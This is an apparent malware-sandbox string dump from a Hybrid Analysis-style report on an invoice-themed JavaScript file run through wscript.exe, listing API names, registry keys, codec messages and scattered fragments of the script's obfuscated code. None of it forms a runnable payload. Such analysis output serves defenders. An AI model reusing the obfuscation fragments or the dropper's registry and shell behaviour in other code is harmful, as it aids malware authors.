Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

rc%d%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Read-only file system

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ReadFile

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Receive LTR marking feedback, feedback_type = %d , uiIdrPicId = %d , LTR_frame_num = %d , cur_idr_pic_id = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Receive LTR recovery pRequest,feedback_type = %d ,uiIdrPicId = %d , current_frame_num = %d , last correct frame num = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Receive valid LTR marking feedback, feedback_type = %d , uiIdrPicId = %d , LTR_frame_num = %d , cur_idr_pic_id = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Receive valid LTR recovery pRequest,feedback_type = %d ,uiIdrPicId = %d , current_frame_num = %d , last correct frame num = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ReceiveTimeOut

Unicode based on Runtime Data (eXe )

reference overflow

Ansi based on Dropped File (gmpopenh264.dll.97104820)

reference picture introduced by this frame is lost during transmission! uiTId: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

referencing pictures lost due frame gaps exist, prev_frame_num: %d, curr_frame_num: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

REG_SZ

Unicode based on Runtime Data (eXe )

RegCloseKey

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegCreateKeyA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegCreateKeyExA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegCreateKeyExW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegDeleteKeyA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegDeleteKeyExW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

RegDeleteKeyW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RegDeleteValueW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RegEnumKeyExA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegEnumKeyW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RegEnumValueW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RegisterClassA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegisterClassW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RegisterEventSourceW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegOpenKeyA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegOpenKeyExA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegOpenKeyExW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegQueryValueA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegQueryValueExA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegQueryValueExW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegSetValueA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegSetValueExA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegSetValueExW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RelativePath

Unicode based on Runtime Data (wscript.exe )

ReleaseDC

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RemainOneBufferInDpbForEC(): empty one DPB failed for EC!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Remote

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Remote script object can only be executed once. Unable to execute remote script.

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

RemoteRpcDll

Unicode based on Runtime Data (wscript.exe )

RemoveDirectoryW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ReportEventW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RequestMemorySvc() failed due to invalid iNumDependencyLayers(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc() failed due to invalid uiIntraPeriod(%d) (=multipler of uiGopSize(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), AcquireLayersNals failed(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), AllocStrideTables failed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), InitDqLayers failed(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), InitMbListD failed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), RequestMemoryVaaScreen failed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), RequestMtResource failed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

residual_pred_flag = 1 not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Resource deadlock avoided

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Resource device

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Resource temporarily unavailable

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RestrictedAttributes

Unicode based on Runtime Data (wscript.exe )

Result too large

Ansi based on Dropped File (gmpopenh264.dll.97104820)

return "6880";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return "92466";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return "upima";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return '70180';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return '95275';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return 'jcyd';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return 15.0474;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return 4;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return dymiko;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ehowh;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ekryzsoj;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ggefritjy;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ivew;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return izfafex;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ocvami;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return tegi;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return twysaw;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ucopkuxmi;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return varhach;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return woqazlohj;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return xjomgokhe;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ybitk;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return zede;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return zulgosjil;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

returned error from decoding:[0x%x]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

rFileInfo

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

RichEd20

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

RichEd32

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

RichEdit

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

RichEdit20A

Unicode based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

RichEdit20W

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

ription

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

rjydkiggul = "xcejbypos" + 30.8;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

Roamable

Unicode based on Runtime Data (wscript.exe )

Roaming.eXe

Unicode based on Runtime Data (eXe )

ror

Unicode based on Dropped File (gmpopenh264.dll.97104820)

rout_ExistsWWd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

RpcCacheTimeout

Unicode based on Runtime Data (eXe )

rShortNameWWW(

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Rsn-2o48

Ansi based on Image Processing (screen_4.png)

RtlUnwind

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RuleCount

Unicode based on Runtime Data (wscript.exe )

runtime error

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Runtime Error!Program:

Unicode based on Dropped File (gmpopenh264.dll.97104820)

rvuvdecw = rvuvdecw + '75112';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ryrokj = 35 + "65823";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

s.mui

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

s\%s.mui

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

sa-IN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SafeDllSearchMode

Unicode based on Runtime Data (wscript.exe )

SafeProcessSearchMode

Unicode based on Runtime Data (wscript.exe )

SaferCloseLevel

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SaferComputeTokenFromLevel

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SaferFlags

Unicode based on Runtime Data (wscript.exe )

SaferIdentifyLevel

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SaferRecordEventLogEntry

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Safety Warning Level

Unicode based on Runtime Data (wscript.exe )

Saturday

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SavedLegacySettings

Unicode based on Runtime Data (eXe )

sc%d%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ScavengeCacheFileLifeTime

Unicode based on Runtime Data (eXe )

ScavengeCacheFileLimit

Unicode based on Runtime Data (eXe )

ScavengeCacheLowerBound

Unicode based on Runtime Data (eXe )

SCC iSkipFrameNum = %d,buffer = %d,threadhold = %d,bitrate = %d,timestamp=%lld

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SceneChangeDetect() iAvailableRefNum=0 but not I.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

scm%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ScreenToClient

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SCRIPT

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Script.CreateObject

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

ScriptEngine

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

ScriptFile

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

scription

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

SDecodingParam

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SearchPathW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

secret

Ansi based on Image Processing (screen_4.png)

SecureProtocols

Unicode based on Runtime Data (eXe )

Security

Unicode based on Runtime Data (wscript.exe )

Security_HKLM_only

Unicode based on Runtime Data (wscript.exe )

SelectObject

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

seLevel

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SendExtraCRLF

Unicode based on Runtime Data (eXe )

SendMessageA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SendMessageTimeoutW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SendMessageW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SendTimeOut

Unicode based on Runtime Data (eXe )

SeparateProcess

Unicode based on Runtime Data (wscript.exe )

September

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Serial_Access_Num

Unicode based on Runtime Data (eXe )

ServerInfoTimeout

Unicode based on Runtime Data (eXe )

SeShutdownPrivilege

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

SessionStartTimeDefaultDeltaSecs

Unicode based on Runtime Data (eXe )

Set-SliceConstraint(%d) too small for current resolution (MB# %d) under QP/BR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SetBkColor

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetBkMode

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetClassLongW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetClipboardData

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetCurrentDirectoryW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetCursor

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetDlgItemTextW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetEnvironmentVariableW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetErrorMode

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetEvent

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SetFileAttributesW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetFilePointer

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetFileTime

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetForegroundWindow

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetHandleCount

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SetLastError

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SetMeMethod(BLOCK_16x16) ME_DIA_CROSS unsuccessful, switched to default search

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SetMeMethod(BLOCK_8x8) ME_DIA_CROSS_FME unsuccessful, switched to default search

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SetStdHandle

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SetTextColor

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetThreadUILanguage

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SetTimer

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Setting MaxSpatialBitrate (%d) the same at SpatialBitrate (%d) will make the actual bit rate lower than SpatialBitrate

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SEtU_lTY

Ansi based on Image Processing (screen_0.png)

SetUnhandledExceptionFilter

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SetWindowLongA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SetWindowLongW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetWindowPos

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetWindowTextW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetWorkingDirectoryFromTarget

Unicode based on Runtime Data (wscript.exe )

ShareCredsWithWinHttp

Unicode based on Runtime Data (eXe )

SHAutoComplete

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

SHBrowseForFolderW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Shell

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SHELL32.dll

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ShellExecuteW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ShellLink.dll

Unicode based on Runtime Data (helper.exe )

ShellState

Unicode based on Runtime Data (wscript.exe )

SHFileOperationW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SHFOLDER

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

SHGetFileInfoW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SHGetFolderPathW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

SHGetPathFromIDListW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SHGetSpecialFolderLocation

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SHLWAPI

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

ShowCompColor

Unicode based on Runtime Data (wscript.exe )

ShowInfoTip

Unicode based on Runtime Data (wscript.exe )

ShowSuperHidden

Unicode based on Runtime Data (wscript.exe )

ShowTypeOverlay

Unicode based on Runtime Data (wscript.exe )

ShowWindow

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Signature

Unicode based on Runtime Data (eXe )

site.

Ansi based on Image Processing (screen_4.png)

Sitemap

Ansi based on Dropped File (home-&-garden)

size=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

slation

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

Sleep

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Slice

Ansi based on Dropped File (gmpopenh264.dll.97104820)

slice type too large (%d) at first_mb(%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SlicingOverRC

Ansi based on Dropped File (gmpopenh264.dll.97104820)

slider_age.noUiSlider.on('change', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_age.noUiSlider.on('update', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_length.noUiSlider.on('change', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_length.noUiSlider.on('update', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_price.noUiSlider.on('change', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_price.noUiSlider.on('update', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slovak

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SLTRState

Ansi based on Dropped File (gmpopenh264.dll.97104820)

sma-NO

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

sma-SE

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

smj-NO

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

smn-FI

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

sms-FI

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

snap: false,

Ansi based on Dropped File (home-&-garden)

SocketReceiveBufferLength

Unicode based on Runtime Data (eXe )

SocketSendBufferLength

Unicode based on Runtime Data (eXe )

SOFTWARE\Classes\%s\%s

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Software\Microsoft\Windows Script Host\Settings

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Software\Microsoft\Windows\CurrentVersion

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

SourcePath

Unicode based on Runtime Data (wscript.exe )

south africa

Ansi based on Dropped File (gmpopenh264.dll.97104820)

south korea

Ansi based on Dropped File (gmpopenh264.dll.97104820)

south-africa

Ansi based on Dropped File (gmpopenh264.dll.97104820)

south-korea

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SP/SI not supported

Ansi based on Dropped File (gmpopenh264.dll.97104820)

space for _onexit/atexit table

Unicode based on Dropped File (gmpopenh264.dll.97104820)

space for thread data

Unicode based on Dropped File (gmpopenh264.dll.97104820)

spanish-argentina

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-bolivia

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-chile

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-colombia

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-costa rica

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-dominican republic

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-ecuador

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-el salvador

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-guatemala

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-honduras

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-mexican

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-modern

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-nicaragua

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-panama

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-paraguay

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-peru

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-puerto rico

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-uruguay

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-venezuela

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SpecialFoldersCacheSize

Unicode based on Runtime Data (wscript.exe )

SPS id is invalid!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SQMServiceList

Unicode based on Runtime Data (eXe )

sr-Latn

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

sr-Latn-ME

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

sr-SP-Cyrl

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SSliceThreading

Ansi based on Dropped File (gmpopenh264.dll.97104820)

sSpatialLayers[%d]: .iVideoWidth= %d; .iVideoHeight= %d; .fFrameRate= %.6ff; .iSpatialBitrate= %d; .iMaxSpatialBitrate= %d; .sSliceCfg.uiSliceMode= %d; .sSliceCfg.sSliceArgument.iSliceNum= %d; .sSliceCfg.sSliceArgument.uiSliceSizeConstraint= %d; uiProfileIdc = %d;uiLevelIdc = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SStrideTables

Ansi based on Dropped File (gmpopenh264.dll.97104820)

st (debugging disabled)

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

staller integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

StandardStreamTypesW`

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

start: [ 0.00, 1888.00 ],

Ansi based on Dropped File (home-&-garden)

start: [ 1, 21 ],

Ansi based on Dropped File (home-&-garden)

start: [ 4, 16 ],

Ansi based on Dropped File (home-&-garden)

State

Unicode based on Runtime Data (wscript.exe )

Store

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

StoresServiceClassInfo

Unicode based on Runtime Data (eXe )

StrAlloc

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Stream

Unicode based on Runtime Data (wscript.exe )

StreamResource

Unicode based on Runtime Data (wscript.exe )

StreamResourceType

Unicode based on Runtime Data (wscript.exe )

sTreeView32

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

string too long

Ansi based on Dropped File (gmpopenh264.dll.97104820)

StringCacheGeneration

Unicode based on Runtime Data (helper.exe )

StringFileInfo

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

StringFromCLSID

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

StringFromGUID2

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

styrocyzvy = 'ewcocc';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

successful

Ansi based on Image Processing (screen_4.png)

Sunday

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Support I420 output only for now! Change to I420...

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SupportedNameSpace

Unicode based on Runtime Data (eXe )

SuppressionPolicy

Unicode based on Runtime Data (wscript.exe )

swedish-finland

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SWelsEncoderOutput

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SWelsFuncPtrList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SWelsSvcCodingParam

Ansi based on Dropped File (gmpopenh264.dll.97104820)

swiss

Ansi based on Dropped File (gmpopenh264.dll.97104820)

switch (amygk) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (bagef()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (jisvapax) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (ocuqga()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (oqgovajo()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (upqetp) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (ytxobo()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (zcagyl()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

sync picture resolution ext failed, the error is %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SyncMode5

Unicode based on Runtime Data (eXe )

SyncPictureResolutionExt()::InitialDqLayersContext--buffer allocated failure.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SyncPictureResolutionExt()::WelsRequestMem--buffer allocated failure.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

syr-SY

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SysListView32

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

system

Ansi based on Dropped File (gmpopenh264.dll.97104820)

System.dll

Unicode based on Runtime Data (helper.exe )

System.NamespaceCLSID

Unicode based on Runtime Data (helper.exe )

System32

Unicode based on Runtime Data (wscript.exe )

